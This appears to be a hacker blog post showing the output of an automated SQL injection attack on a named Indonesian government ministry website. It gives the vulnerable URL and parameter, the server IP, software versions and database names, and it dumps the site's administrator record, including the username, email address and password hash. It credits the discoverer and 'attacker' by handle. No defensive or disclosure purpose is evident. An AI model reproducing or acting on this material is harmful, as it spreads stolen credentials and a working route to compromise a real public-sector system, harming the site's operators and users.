SQL Injection Vulnerability on AGROINDUSTRI.MENLH.GO.ID

.

Analyzing http://agroindustri.menlh.go.id/?act=content&kat=13
Host IP: 118.98.74.86
Web Server: Apache/2.2.17 (Fedora)
Powered-by: PHP/5.3.6
Keyword Found: SOSIALISASI
Injection type is Integer
DB Server: MySQL >=5
Selected Column Count is 3
Finding string column
Valid String Column is 2
Target Vulnerable :D
Current DB: agroindustri
Data Base Found: information_schema
Data Base Found: agroindustri
Data Base Found: mysql
Data Base Found: test
Columns found: user_id,user_password,user_name,user_email,user_phone,user_level
Count(*) of agroindustri.dtbl_admin is 1
Data Found: user_level=0
Data Found: user_id=agroindustri
Data Found: user_password=b262c7228b36ea9d55b4c8581187bd8c
Data Found: user_name=Asdep 3/II
Data Found: user_email=agroindustri@menlh.go.id


Vulnerable Founder : TaBUn_GuCi
Pentester : acizninja cyber4rt 
Attacker : Tôniê Ŝniffêr Âttâckêr

0 komentar:

Posting Komentar